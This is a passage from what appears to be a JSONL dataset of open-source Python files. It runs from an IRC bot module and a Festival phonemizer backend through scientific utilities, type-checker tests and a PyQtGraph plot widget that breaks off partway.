self._ip = ip\n else: # pragma: no cover\n response = urlopen('http://ipv4.icanhazip.com/')\n ip = response.read().strip().decode()\n ip = ip_address(ip)\n self._ip = ip\n return self._ip\n\n @property\n def dcc(self):\n \"\"\"return the :class:`~irc3.dcc.DCCManager`\"\"\"\n if self._dcc is None:\n self._dcc = DCCManager(self)\n return self._dcc\n\n @asyncio.coroutine\n def dcc_chat(self, mask, host=None, port=None):\n \"\"\"Open a DCC CHAT whith mask. If host/port are specified then connect\n to a server. Else create a server\"\"\"\n return self.dcc.create(\n 'chat', mask, host=host, port=port).ready\n\n @asyncio.coroutine\n def dcc_get(self, mask, host, port, filepath, filesize=None):\n \"\"\"DCC GET a file from mask. filepath must be an absolute path with an\n existing directory. filesize is the expected file size.\"\"\"\n return self.dcc.create(\n 'get', mask, filepath=filepath, filesize=filesize,\n host=host, port=port).ready\n\n @asyncio.coroutine\n def dcc_send(self, mask, filepath):\n \"\"\"DCC SEND a file to mask. filepath must be an absolute path to\n existing file\"\"\"\n return self.dcc.create('send', mask, filepath=filepath).ready\n\n @asyncio.coroutine\n def dcc_accept(self, mask, filepath, port, pos):\n \"\"\"accept a DCC RESUME for an axisting DCC SEND. filepath is the\n filename to sent. port is the port opened on the server.\n pos is the expected offset\"\"\"\n return self.dcc.resume(mask, filepath, port, pos)\n\n def SIGHUP(self):\n self.reload()\n\n def SIGINT(self):\n self.notify('SIGINT')\n if getattr(self, 'protocol', None):\n self.quit('INT')\n time.sleep(1)\n self.loop.stop()\n\n\ndef run(argv=None):\n bots = {}\n bot = IrcBot.from_argv(argv, botnet=bots)\n bots['bot'] = bot\n for section in list(bot.config):\n if section.startswith('bot_'):\n config = bot.config.pop(section)\n bots[section] = IrcBot.from_argv(argv, botnet=bots, **config)\n bot.loop.run_forever()\n return bots\n", "source": "gawel/irc3", "license": "MIT"} {"text": "# Copyright 2015-2021 Mathieu Bernard\n#\n# This file is part of phonemizer: you can redistribute it and/or\n# modify it under the terms of the GNU General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# Phonemizer is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with phonemizer. If not, see .\n\"\"\"Festival backend for the phonemizer\"\"\"\n\n\nimport distutils\nimport os\nimport re\nimport shlex\nimport subprocess\nimport tempfile\n\nimport phonemizer.lispy as lispy\nfrom phonemizer.backend.base import BaseBackend\nfrom phonemizer.logger import get_logger\nfrom phonemizer.punctuation import Punctuation\nfrom phonemizer.utils import get_package_resource\n\n\n# a global variable being used to overload the default festival installed on\n# the system. The user can choose an alternative espeak with the method\n# FestivalBackend.set_festival_path().\n_FESTIVAL_DEFAULT_PATH = None\n\n\nclass FestivalBackend(BaseBackend):\n \"\"\"Festival backend for the phonemizer\"\"\"\n def __init__(self, language,\n punctuation_marks=Punctuation.default_marks(),\n preserve_punctuation=False,\n logger=get_logger()):\n super().__init__(\n language, punctuation_marks=punctuation_marks,\n preserve_punctuation=preserve_punctuation, logger=logger)\n\n #self.script = get_package_resource('festival/phonemize.scm')\n self.script = 'phonemizer/share/festival/phonemize.scm'\n #print(self.script)\n self.logger.info('loaded %s', self.script)\n\n @staticmethod\n def name():\n return 'festival'\n\n @staticmethod\n def set_festival_path(fpath):\n \"\"\"Sets the festival path as `fpath`\"\"\"\n global _FESTIVAL_DEFAULT_PATH\n if not fpath:\n _FESTIVAL_DEFAULT_PATH = None\n return\n\n if not (os.path.isfile(fpath) and os.access(fpath, os.X_OK)):\n raise ValueError(\n f'{fpath} is not an executable file')\n\n _FESTIVAL_DEFAULT_PATH = os.path.abspath(fpath)\n\n @staticmethod\n def festival_path():\n \"\"\"Returns the absolute path to the festival executable\"\"\"\n if 'PHONEMIZER_FESTIVAL_PATH' in os.environ:\n festival = os.environ['PHONEMIZER_FESTIVAL_PATH']\n if not (os.path.isfile(festival) and os.access(festival, os.X_OK)):\n raise ValueError(\n f'PHONEMIZER_FESTIVAL_PATH={festival} '\n f'is not an executable file')\n return os.path.abspath(festival)\n\n if _FESTIVAL_DEFAULT_PATH:\n return _FESTIVAL_DEFAULT_PATH\n\n return distutils.spawn.find_executable('festival')\n\n @classmethod\n def is_available(cls):\n return bool(cls.festival_path())\n\n @classmethod\n def version(cls, as_tuple=False):\n # the full version version string includes extra information\n # we don't need\n long_version = subprocess.check_output(\n [cls.festival_path(), '--version']).decode('latin1').strip()\n\n # extract the version number with a regular expression\n festival_version_re = r'.* ([0-9\\.]+[0-9]):'\n try:\n version = re.match(festival_version_re, long_version).group(1)\n except AttributeError:\n raise RuntimeError(\n f'cannot extract festival version from {cls.festival_path()}')\n\n if as_tuple:\n # ignore the '-dev' at the end\n version = version.replace('-dev', '')\n version = tuple(int(v) for v in version.split('.'))\n return version\n\n\n @staticmethod\n def supported_languages():\n return {'en-us': 'english-us', 'at': 'austrian'}\n\n def _phonemize_aux(self, text, separator, strip):\n \"\"\"Return a phonemized version of `text` with festival\n\n This function is a wrapper on festival, a text to speech\n program, allowing simple phonemization of some English\n text. The US phoneset we use is the default one in festival,\n as described at http://www.festvox.org/bsv/c4711.html\n\n Any opening and closing parenthesis in `text` are removed, as\n they interfer with the Scheme expression syntax. Moreover\n double quotes are replaced by simple quotes because double\n quotes denotes utterances boundaries in festival.\n\n Parsing a ill-formed Scheme expression during post-processing\n (typically with unbalanced parenthesis) raises an IndexError.\n\n \"\"\"\n #print(text)\n text = self._preprocess(text)\n #print(\"pre\")\n #print(text)\n text = self._process(text)\n #print(\"pre1\")\n #print(text)\n if len(text) == 0:\n return []\n #print(\"pre2\")\n #print(text)\n #text = self._process(text)\n #print(\"pre3\")\n #print(text)\n text = self._postprocess(text, separator, strip)\n #print(\"pre4\")\n #print(text)\n return text\n\n @staticmethod\n def _double_quoted(line):\n \"\"\"Return the string `line` surrounded by double quotes\"\"\"\n return '\"' + line + '\"'\n\n @staticmethod\n def _cleaned(line):\n \"\"\"Remove 'forbidden' characters from the line\"\"\"\n # special case (very unlikely but causes a crash in festival)\n # where a line is only made of '\n if set(line) == set(\"'\"):\n line = ''\n\n # remove forbidden characters (reserved for scheme, ie festival\n # scripting language)\n return line.replace('\"', '').replace('(', '').replace(')', '').strip()\n\n @classmethod\n def _preprocess(cls, text):\n \"\"\"Returns the contents of `text` formatted for festival input\n\n This function adds double quotes to begining and end of each\n line in text, if not already presents. The returned result is\n a multiline string. Empty lines in inputs are ignored.\n\n \"\"\"\n cleaned_text = (\n cls._cleaned(line) for line in text.split('\\n') if line != '')\n\n return '\\n'.join(\n cls._double_quoted(line) for line in cleaned_text if line != '')\n\n def _process(self, text):\n \"\"\"Return the raw phonemization of `text`\n\n This function delegates to festival the text analysis and\n syllabic structure extraction.\n\n Return a string containing the \"SylStructure\" relation tree of\n the text, as a scheme expression.\n\n \"\"\"\n with tempfile.NamedTemporaryFile('w+', delete=False) as data:\n try:\n # save the text as a tempfile\n data.write(text)\n data.close()\n\n # the Scheme script to be send to festival\n #print(self.script)\n scm_script = open(self.script, 'r').read().format(data.name)\n #print(\"before scm\")\n with tempfile.NamedTemporaryFile('w+', delete=False) as scm:\n try:\n scm.write(scm_script)\n scm.close()\n\n #cmd = '{} --libdir /home/mipuc/IMS-Toucan/CSTR-HTSVoice-Library-ver0.99/festival/lib -b {}'.format(self.festival_path(), scm.name)\n cmd = '{} --libdir CSTR-HTSVoice-Library-ver0.99/festival/lib -b {}'.format(self.festival_path(), scm.name)\n #print(cmd)\n if self.logger:\n self.logger.debug('running %s', cmd)\n\n # redirect stderr to a tempfile and displaying it only\n # on errors. Messages are something like: \"UniSyn:\n # using default diphone ax-ax for y-pau\". This is\n # related to wave synthesis (done by festival during\n # phonemization).\n with tempfile.TemporaryFile('w+') as fstderr:\n return self._run_festival(cmd, fstderr)\n finally:\n os.remove(scm.name)\n #print(\"no remove\")\n finally:\n os.remove(data.name)\n #print(\"no remove\")\n\n\n @staticmethod\n def _run_festival(cmd, fstderr):\n \"\"\"Runs the festival command for phonemization\n\n Returns the raw phonemized output (need to be postprocesses). Raises a\n RuntimeError if festival fails.\n\n \"\"\"\n try:\n output = subprocess.check_output(\n shlex.split(cmd, posix=False), stderr=fstderr)\n\n # festival seems to use latin1 and not utf8\n return re.sub(' +', ' ', output.decode('latin1'))\n\n except subprocess.CalledProcessError as err: # pragma: nocover\n fstderr.seek(0)\n raise RuntimeError(\n 'Command \"{}\" returned exit status {}, output is:\\n{}'\n .format(cmd, err.returncode, fstderr.read()))\n\n @staticmethod\n def _postprocess_syll(syll, separator, strip):\n \"\"\"Parse a syllable from festival to phonemized output\"\"\"\n sep = separator.phone\n out = (phone[0][0].replace('\"', '') for phone in syll[1:])\n out = sep.join(o for o in out if o != '')\n #print(\"out\")\n return out if strip else out + sep\n\n @classmethod\n def _postprocess_word(cls, word, separator, strip):\n \"\"\"Parse a word from festival to phonemized output\"\"\"\n sep = separator.syllable\n out = sep.join(\n cls._postprocess_syll(syll, separator, strip)\n for syll in word[1:])\n #print(\"out\")\n return out if strip else out + sep\n\n @classmethod\n def _postprocess_line(cls, line, separator, strip):\n \"\"\"Parse a line from festival to phonemized output\"\"\"\n sep = separator.word\n out = []\n for word in lispy.parse(line):\n word = cls._postprocess_word(word, separator, strip)\n if word != '':\n out.append(word)\n #print(\"out\")\n out = sep.join(out)\n\n return out if strip else out + sep\n\n @classmethod\n def _postprocess(cls, tree, separator, strip):\n \"\"\"Conversion from festival syllable tree to desired format\"\"\"\n return [cls._postprocess_line(line, separator, strip)\n for line in tree.split('\\n')\n if line not in ['', '(nil nil nil)']]\n", "source": "mipuc/IMS-Toucan", "license": "Apache-2.0"} {"text": "\"\"\"\nCreated: 16 Mar. 2020\nAuthor: Jordan Prechac\n\"\"\"", "source": "Revibe-Music/core-services", "license": "MIT"} {"text": "import json\nimport logging\nfrom common.errors import PlayerError\n\nLOG = logging.getLogger(__name__)\n\nclass Player:\n def __init__(self, name, ws):\n self._name = name\n self._position = None\n self._room = None\n self._ws = ws\n\n @property\n def name(self):\n return self._name\n\n @property\n def position(self):\n return self._position\n\n @position.setter\n def position(self, pos):\n self._position = pos\n\n def register_room(self, room):\n LOG.debug('=============register room : {}'.format(room))\n self._room = room\n\n def exit_room(self):\n LOG.debug('Exiting {}. self : {}'.format(self._room, self))\n if None is self._room:\n LOG.debug('Try to exit room, but room is empty')\n raise PlayerError(self, 'Not in room.')\n\n self._room.remove_player(self)\n LOG.debug('=============clear room on exit_room: {}'.format('None'))\n self._room = None\n\n def on_exited_room(self):\n self._ws.close()\n\n def send_msg(self, msg):\n self._ws.send(msg)\n\n\n def set_msg_handler(self, handler):\n self._handle_msg = handler\n \n def process_message(self, msg):\n if None is self._handle_msg:\n raise ValueError('handle_msg is not set')\n self._handle_msg(self, msg)\n\n def __str__(self):\n info = {\n 'name': self._name,\n 'position': self._position,\n 'room': self._room.room_no if None is not self._room else 'None'\n }\n\n return json.dumps(info)\n", "source": "iFunFactory/pong-webscoket", "license": "MIT"} {"text": "from neuron import h\n\nclass Cell:\n\t\"\"\" Interface class to build different types of cells. \"\"\"\n\n\tdef __init__(self):\n\t\t\"\"\" Object initialization. \"\"\"\n\t\t# Neuron cell - source of netcons\n\t\tself.cell = None\n\n\tdef __del__(self):\n\t\t\"\"\" Object destruction. \"\"\"\n\t\tpass\n\n\tdef connect_to_target(self,target,weight=0,delay=1):\n\t\t\"\"\" Connect the current cell to a target cell and return the netCon object. \n\n\t\tKeyword arguments:\n\t\ttarget -- the target object to which we want to connect\n\t\tweight -- the weight of the connection (default 0) \n\t\tdelay -- communication time delay in ms (default 1) \n\t\t\"\"\"\n\n\t\tnc = h.NetCon(self.cell,target)\n\t\tnc.delay = delay\n\t\tnc.weight[0] = weight\n\t\treturn nc\n\t\n\tdef is_artificial(self):\n\t\t\"\"\" Return a flag to check whether the cell is an integrate-and-fire or artificial cell. \n\n\t\tBy default the flag is set to True.\n\t\t\"\"\"\n\t\treturn 1\n", "source": "realwsq/MuscleSpindleCircuitsModel", "license": "MIT"} {"text": "h#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nAn implementation of calculating local minima and maxima on a smaller example!\n\"\"\"\nimport pandas as pd\n\n# read in dataset\nxl = pd.ExcelFile(\"data/130N_Cycles_1-47.xlsx\")\ndf = xl.parse(\"Specimen_RawData_1\")\ndf\n\n# append data from load column to list\nload = []\nfor item in df.index:\n load.append(df[\"Round\"][item])\n \ntrial_lst = load\n\n\n#trial_lst = [0.5, 3, 6, 40, 90, 130.8, 129, 111, 8, 9, 0.01, 9, 40, 90, 130.1, 112,\n #108, 90, 77, 68, 0.9, 8, 40, 90, 92, 130.4]\n \ntrial_lst = [0.5, 3, 6, 58, 40, 90, 130.8, 129, 111, 8, 9, 0.01, 9, 40, 90, 130.1, 112,\n 108, 90, 77, 68, 0.9, 8, 40, 90, 92, 130.4]\n\ntrial_lst = load\n\n\nindices = [x[0] for x in enumerate(map(lambda x:x<1, trial_lst)) if x[1]]\n\n\nsublists = [trial_lst[i:j] for i,j in list(zip([0]+indices, indices+[None]))[1:]]\n\n\nfor i,l in enumerate(sublists):\n print(i, max((v,i) for (i,v) in enumerate(l)), min((v,i) for (i,v) in enumerate(l)))\n \n", "source": "navierula/Research-Fall-2017", "license": "MIT"} {"text": "#accept number from user, then see if can divide by 29\r\nxx = eval(input(\"Enter any number or -1 to end\\n\"))\r\n#eval will make the input be treated as a number\r\nwhile xx!=-1:\r\n if (xx%29==0):\r\n print(\"This is divisible by 29\")\r\n #if not divisible, gimme next nearest number (both lower and higher)\r\n\r\n else:\r\n print(\"This is not divisible by 29\")\r\n yy = xx - (xx%29)\r\n print(str(yy) + \" is the nearest\")\r\n print(\"The next is \" + str(yy+29))\r\n xx = eval(input(\"Please enter any number or -1 to end\\n\"))\r\n\r\nprint(\"Have a nice weekend\")\r\n\r\n#for python, deal with the 'smallest' cases first. The\r\n #fewest cases will take up the most space\r\n", "source": "hkrsmk/python", "license": "Unlicense"} {"text": "# https://www.codewars.com/kata/5d5a7525207a674b71aa25b5\n\ndef odd_row(row):\n base = row * (row - 1)\n return [base + n * 2 + 1 for n in range(row)]\n\n", "source": "hiljusti/codewars-solutions", "license": "WTFPL"} {"text": "#### Utils.py \n#### Author: Maxie D. Schmidt\n#### Created: 2020.07.21\n\nfrom sage.all import *\nfrom PIL import Image\nfrom datetime import datetime\n\nfrom GlobalConfig import *\n\ndef AssertInteger(n):\n if not isinstance(n, int) and not isinstance(n, sage.rings.integer.Integer) and \\\n (isinstance(n, sage.rings.rational.Rational) and not n.is_integer()):\n raise ValueError(\"Input {0} is not an integer: {1}\".format(n, type(n)))\n return True\n\n\ndef AssertPositiveInteger(n):\n if not AssertInteger(n) or n <= 0:\n raise ValueError(\"Input {0} is not a positive integer: {1}\".format(n, type(n)))\n return True\n\ndef AssertNonNegativeInteger(n):\n return AssertIntegerGreaterThan(n, -1)\n\ndef AssertIntegerGreaterThan(n, gthan):\n if n <= gthan or not AssertInteger(n):\n raise ValueError(\"Input {0} <= {1}\".format(n, gthan))\n return True\n\ndef PrintTableInLaTeXForm(tbl, newlineAfter = 0):\n latexArraySep = str(\" & \")\n for (ridx, tblRow) in enumerate(tbl):\n if newlineAfter > 0 and (ridx % newlineAfter) == 0:\n print(\"\")\n print(latexArraySep.join([str(te) for te in tblRow]), \" \\\\\\\\\")\n\ndef GetTempFileSavePath(fileExt, basePath = \"TempFile\", baseDir = TempFileDirectory):\n strftimeFmt = \"{0}/{1}-%Y%m%d%H%M%s.{2}\".format(baseDir, basePath, fileExt)\n return datetime.now().strftime(strftimeFmt)\n\ndef DisplayImage(imgPath):\n image = Image.open(imgPath)\n image.show()\n #show(imgPath)\n\n", "source": "maxieds/MertensFunctionComputations", "license": "CC0-1.0"} {"text": "import os, sys, pytest, copy\nfrom numpy import isclose\n\n# import repo's tests utilities\ncur_dir = os.path.dirname(__file__)\npath = os.path.abspath(os.path.join(cur_dir, '..', 'tests'))\nif not path in sys.path:\n sys.path.insert(1, path)\ndel path\nimport test_util\n\n# Set arguments used in all forest tests:\n# Define all but the b (beta) parameter here; vary beta for the tests\nconf_params = {\n 'w': 0,\n 'D': 5,\n 'mu': 0,\n 'g': 0\n}\n# Location of the prize, network, and root node files\nforest_opts = {\n 'prize': os.path.join(cur_dir, 'small_forest_tests', 'w_test_prizes.txt'),\n 'edge': os.path.join(cur_dir, 'small_forest_tests', 'w_test_network.txt'),\n 'dummyMode': os.path.join(cur_dir, 'small_forest_tests', 'w_test_roots.txt')\n}\n\nclass TestBeta:\n '''\n Test various values of the beta parameter:\n p'(v) = beta * p(v) - mu * deg(v)\n min f'(F) = sum_{v not in V_F} p'(v) + sum_{e in E_F} c(e) + w * K\n\n Higher values of beta increase the importance of prizes relative to their degree penalty, and\n also increase the importance of prizes relative to the cost of edges\n\n Use the following test network:\n\n A B\n \\ \\\n C -> D\n\n p(A) = 0\n p(B) = 0\n p(C) = 1\n p(D) = 1\n c(AC) = 0.25\n c(BD) = 0.25\n c(CD) = 0.75\n '''\n def test_beta_0(self, msgsteiner):\n ''' \n Run Forest with beta = 0 and check optimal subnetwork\n\n In p'(v) = beta * p(v) - mu * deg(v), beta = 0 implies that an empty graph is the optimal network\n\n INPUT:\n msgsteiner - fixture object with the value of --msgpath parsed by conftest.py\n '''\n params = copy.deepcopy(conf_params)\n params['b'] = 0\n graph, objective = test_util.run_forest(msgsteiner, params, forest_opts)\n\n assert graph.order() == 0, \"Unexpected number of nodes\"\n assert graph.size() == 0, \"Unexpected number of edges\"\n\n # Check that the optimal forest has the correct objective function\n # value, using isclose to allow for minor floating point variation\n # Objective function: 0\n # Excluded prizes: 0\n # Edge costs: 0\n # Number of trees * w: 0\n assert isclose(0, objective, rtol=0, atol=1e-5), 'Incorrect objective function value'\n\n \n def test_beta_024(self, msgsteiner):\n '''\n Run Forest with beta = 0.24\n\n This value of beta is just below the 0.25 value of beta which sets the prize benefit \n of C and D equal to the cost of obtaining those prizes through edges AC and BD: we expect\n an empty network again\n '''\n params = copy.deepcopy(conf_params)\n params['b'] = 0.24\n graph, objective = test_util.run_forest(msgsteiner, params, forest_opts)\n\n assert graph.order() == 0, \"Unexpected number of nodes\"\n assert graph.size() == 0, \"Unexpected number of edges\"\n\n # Check that the optimal forest has the correct objective function\n # value, using isclose to allow for minor floating point variation\n # Objective function: 0.48\n # Excluded prizes: 0.48\n # Edge costs: 0\n # Number of trees * w: 0\n assert isclose(0.48, objective, rtol=0, atol=1e-5), 'Incorrect objective function value'\n\n \n def test_beta_026(self, msgsteiner):\n '''\n Run Forest with beta = 0.26\n\n See test_beta_024; this value of beta makes it worth while to obtain prizes for C and D;\n we expect the following network:\n\n A B\n \\ \\\n C D\n\n note an undirected edge ab in a digraph is represented by the network containing both edges ab and ba\n '''\n params = copy.deepcopy(conf_params)\n params['b'] = 0.26\n graph, objective = test_util.run_forest(msgsteiner, params, forest_opts)\n\n assert graph.order() == 4\n assert graph.size() == 4\n\n assert graph.has_edge('A', 'C')\n assert graph.has_edge('C', 'A')\n assert graph.has_edge('B', 'D')\n assert graph.has_edge('D', 'B')\n\n # Check that the optimal forest has the correct objective function\n # value, using isclose to allow for minor floating point variation\n # Objective function: 0.5\n # Excluded prizes: 0\n # Edge costs: 0.5\n # Number of trees * w: 0 * 2 = 0\n assert isclose(0.5, objective, rtol=0, atol=1e-5), 'Incorrect objective function value'\n\n", "source": "johnbachman/OmicsIntegrator", "license": "BSD-2-Clause"} {"text": "# This sample tests various \"literal math\" binary and unary operations that\n# are applied when all operands are literal types with the same associated\n# class.\n\nfrom typing import Literal\n\n\ndef func1(a: Literal[1, 2], b: Literal[0, 4], c: Literal[3, 4]):\n c1 = a * b + c\n reveal_type(c1, expected_text=\"Literal[3, 4, 7, 8, 11, 12]\")\n\n c2 = a // 0\n reveal_type(c2, expected_text=\"int\")\n\n c3 = a % 0\n reveal_type(c3, expected_text=\"int\")\n\n c4 = ((a * 1000) % 39) // c\n reveal_type(c4, expected_text=\"Literal[8, 6, 3, 2]\")\n\n c5 = a + True\n reveal_type(c5, expected_text=\"int\")\n\n c1 -= 5\n reveal_type(c1, expected_text=\"Literal[-2, -1, 2, 3, 6, 7]\")\n\n c1 = -c1\n reveal_type(c1, expected_text=\"Literal[2, 1, -2, -3, -6, -7]\")\n\n c1 = +c1\n reveal_type(c1, expected_text=\"Literal[2, 1, -2, -3, -6, -7]\")\n\n c6 = 1\n for _ in range(100):\n c6 += a\n reveal_type(c6, expected_text=\"int\")\n\n\ndef func2(cond: bool):\n c1 = \"Hi \" + (\"Steve\" if cond else \"Amy\")\n reveal_type(c1, expected_text=\"Literal['Hi Steve', 'Hi Amy']\")\n\n\ndef func3(cond: bool):\n c1 = b\"Hi \" + (b\"Steve\" if cond else b\"Amy\")\n reveal_type(c1, expected_text=\"Literal[b'Hi Steve', b'Hi Amy']\")\n\n\ndef func4(a: Literal[True], b: Literal[False]):\n c1 = a and b\n reveal_type(c1, expected_text=\"Literal[False]\")\n\n c2 = a and a\n reveal_type(c2, expected_text=\"Literal[True]\")\n\n c3 = a or b\n reveal_type(c3, expected_text=\"Literal[True]\")\n\n c4 = not a\n reveal_type(c4, expected_text=\"Literal[False]\")\n\n c5 = not b\n reveal_type(c5, expected_text=\"Literal[True]\")\n\n c6 = not b and not a\n reveal_type(c6, expected_text=\"Literal[False]\")\n\n c7 = not b or not a\n reveal_type(c7, expected_text=\"Literal[True]\")\n\n c8 = b\n reveal_type(c8, expected_text=\"Literal[False]\")\n while True:\n c8 = not c8\n reveal_type(c8, expected_text=\"bool\")\n\n\nmode = Literal[\n \"a\",\n \"b\",\n \"c\",\n \"d\",\n \"e\",\n \"f\",\n \"g\",\n \"h\",\n \"i\",\n \"j\",\n \"k\",\n \"l\",\n \"m\",\n \"n\",\n \"o\",\n \"p\",\n \"q\",\n \"r\",\n \"s\",\n \"t\",\n \"u\",\n \"v\",\n \"w\",\n \"z\",\n \"y\",\n \"z\",\n]\n\n\ndef func5(\n a: mode, b: mode, c: mode, d: mode, e: mode, f: mode, g: mode, h: mode, i: mode\n):\n # Make sure this degenerate case falls back to \"str\".\n reveal_type(a + b + c + d + e + f + g + h + i, expected_text=\"str\")\n\n\ndef func6(x: Literal[1, 3, 5, 7, 11, 13]):\n y = x\n y *= x\n\n reveal_type(\n y,\n expected_text=\"Literal[1, 3, 5, 7, 11, 13, 9, 15, 21, 33, 39, 25, 35, 55, 65, 49, 77, 91, 121, 143, 169]\",\n )\n\n y *= x\n reveal_type(y, expected_text=\"int\")\n", "source": "Microsoft/pyright", "license": "MIT"} {"text": "import os\nimport sys\nfrom pathlib import Path\n\nimport pyk4a\n\ntry:\n import k4a_module # noqa: F401\nexcept BaseException as e:\n native_kinect_lib_dir = Path(os.path.abspath(os.path.dirname(pyk4a.__file__)))\n\n if sys.platform == \"win32\":\n try:\n from .win32_utils import add_dll_directory\n add_dll_directory(native_kinect_lib_dir)\n import k4a_module # noqa: F401\n except BaseException:\n raise ImportError(\n (\n \"Cannot import k4a_module. \"\n f\"DLL directory added was {native_kinect_lib_dir}. \"\n \"You can provide a different path containing `k4a.dll`\"\n \"using the environment variable `K4A_DLL_DIR`. \"\n \"Also make sure pyk4a was properly built.\"\n )\n ) from e\n else:\n try:\n from ctypes import *\n import ctypes\n\n # todo: remove version numbers\n CDLL(str(native_kinect_lib_dir / \"libk4a.so.1.4\"), mode=ctypes.RTLD_GLOBAL)\n CDLL(str(native_kinect_lib_dir / \"libdepthengine.so.2.0\"), mode=ctypes.RTLD_GLOBAL)\n CDLL(str(native_kinect_lib_dir / \"libk4arecord.so.1.4\"), mode=ctypes.RTLD_GLOBAL)\n\n import k4a_module # noqa: F401\n except BaseException:\n raise ImportError(\n (\n \"Cannot import k4a_module. \"\n \"Make sure `libk4a.so` can be found. \"\n \"Add the directory to your `LD_LIBRARY_PATH` if required. \"\n \"Also make sure pyk4a is properly built.\"\n )\n ) from e\n", "source": "cansik/pyk4a", "license": "MIT"} {"text": "\"\"\"A set of convenience functions to search in fields\"\"\"\nimport re\nfrom typing import Generator\n\nfrom unidecode import unidecode\nfrom tinydb import database\n\nfrom . import model\n\n\ndef creator_name(corpusdb: database.TinyDB,\n pattern: str) -> Generator[model.Book, None, None]:\n \"\"\"Return a list of document based on creator's name. It completely\n ignores accents and case.\"\"\"\n for document in iter(corpusdb):\n if any(re.search(unidecode(pattern),\n unidecode(creator['name']),\n flags=re.IGNORECASE)\n for creator in document['creator']):\n yield model.Book(**document)\n\ndef index(corpusdb: database.TinyDB,\n pattern: str) -> Generator[model.Book, None, None]:\n \"\"\"Return a list of document based on document index.\"\"\"\n for document in iter(corpusdb):\n if re.search(pattern, document['index']):\n yield model.Book(**document)\n\n\ndef title(corpusdb: database.TinyDB,\n pattern: str) -> Generator[model.Book, None, None]:\n \"\"\"Return a list of documents based on name. It completely\n ignores accents and case\"\"\"\n for document in iter(corpusdb):\n if re.search(unidecode(pattern),\n unidecode(document['title']),\n flags=re.IGNORECASE):\n yield model.Book(**document)\n", "source": "igormorgado/litcorpt", "license": "MIT"} {"text": "\"\"\"\nCopyright 2019 Dominik Werner\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nfrom PyQt5.QtWidgets import QFrame, QHBoxLayout, QMainWindow\nfrom PyQt5.QtCore import Qt, pyqtSignal\nfrom PyQt5.QtGui import QColor\nfrom pyqtgraph import ColorMap\nfrom matplotlib.pyplot import get_cmap\nimport pyqtgraph as pg\nimport numpy as np\n\npg.setConfigOptions(antialias=True)\n\n\nPY_GRAPH_PLOT_MODE_LINE = 'PLOT_MODE_LINE'\nPY_GRAPH_PLOT_MODE_IMAGE = 'PLOT_MODE_IMAGE'\n\n\nclass PyGraphWidget(QFrame):\n \"\"\"\n A very simple, one-plot plot widget based on PyQtGraph (faster for displaying large amounts of data than matplotlib)\n \"\"\"\n\n x_position_indicator_changed = pyqtSignal(float)\n\n @property\n def title(self):\n \"\"\"\n Gets the title of the plot\n \"\"\"\n return self._title\n\n @title.setter\n def title(self, value):\n \"\"\"\n Sets the title of the plot\n \"\"\"\n self._title = value\n self._plot.setTitle(value, color=self._to_html_color_(self._title_color))\n\n @property\n def x_label(self):\n \"\"\"\n Gets the x label of the plot\n \"\"\"\n self._x_label\n\n @x_label.setter\n def x_label(self, value):\n \"\"\"\n Sets the x label of the plot\n \"\"\"\n self._set_x_axis_(value)\n\n @property\n def y_label(self):\n \"\"\"\n Gets the y label of the plot\n :return:\n \"\"\"\n return self._y_label\n\n @y_label.setter\n def y_label(self, value):\n \"\"\"\n Sets the y label of the plot\n \"\"\"\n self._set_y_axis_(value)\n\n @property\n def show_x_position_indicator(self):\n \"\"\"\n Gets whether the x axis position indicator is shown\n \"\"\"\n return self._show_x_position_indicator\n\n @show_x_position_indicator.setter\n def show_x_position_indicator(self, value):\n \"\"\"\n Sets whether the x axis position indicator is shown\n :param value: True or false\n \"\"\"\n self._show_x_position_indicator = value\n self._set_x_position_indicator_()\n\n @property\n def x_indicator_movable(self):\n \"\"\"\n Gets whether the x axis position indicator can be moved by mouse\n \"\"\"\n return self._x_indicator_movable\n\n @x_indicator_movable.setter\n def x_indicator_movable(self, value):\n \"\"\"\n Sets whether the x axis position indicator can be moved by mouse\n :param value: True or false\n \"\"\"\n self._x_indicator_movable = value\n self._set_x_position_indicator_()\n\n @property\n def x_indicator_color(self):\n \"\"\"\n Gets the color of the x-position indicator\n \"\"\"\n return self._x_indicator_color\n\n @x_indicator_color.setter\n def x_indicator_color(self, value):\n \"\"\"\n Sets the color of the x-position indicator\n :param value: color\n \"\"\"\n self._x_indicator_color = value\n self._set_x_position_indicator_()\n\n @property\n def x_indicator_text_color(self):\n \"\"\"\n Gets the text color of the x-position indicator\n \"\"\"\n return self._x_indicator_text_color\n\n @x_indicator_text_color.setter\n def x_indicator_text_color(self, value):\n \"\"\"\n Sets the color of the x-position indicator\n :param value: color\n \"\"\"\n self._x_indicator_text_color = value\n self._set_x_position_indicator_()\n\n @property\n def x_indicator_label(self):\n \"\"\"\n Gets the text of the label on the x-position indicator\n \"\"\"\n return self._x_indicator_label\n\n @x_indicator_label.setter\n def x_indicator_label(self, value):\n \"\"\"\n Sets the text of the label on the x-position indicator\n :param value: text\n \"\"\"\n self._x_indicator_label = value\n self._set_x_position_indicator_()\n\n @property\n def x_indicator_position(self):\n \"\"\"\n Gets the position of the x-position indicator\n \"\"\"\n return self._x_indicator_position\n\n @x_indicator_position.setter\n def x_indicator_position(self, value):\n \"\"\"\n Sets the position of the x-position indicator\n :param value: position\n \"\"\"\n self._x_indicator_position = value\n self._set_x_position_indicator_()\n\n def __init__(self, title=None, x_label=None, y_label=None, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self._layout = QHBoxLayout()\n self.setLayout(self._layout)\n self._plot = pg.PlotWidget()\n self._image_item = pg.ImageItem()\n self._current_mode = None\n self._line_data = None\n self._line_color = 'w'\n self._background_color = 'k'\n self.set_background_color(self._background_color)\n self._layout.addWidget(self._plot)\n self._title = title\n self._x_label = x_label\n self._x_axis_color = QColor(150, 150, 150)\n self._y_label = y_label\n self._y_axis_color = QColor(150, 150, 150)\n self._show_x_position_indicator 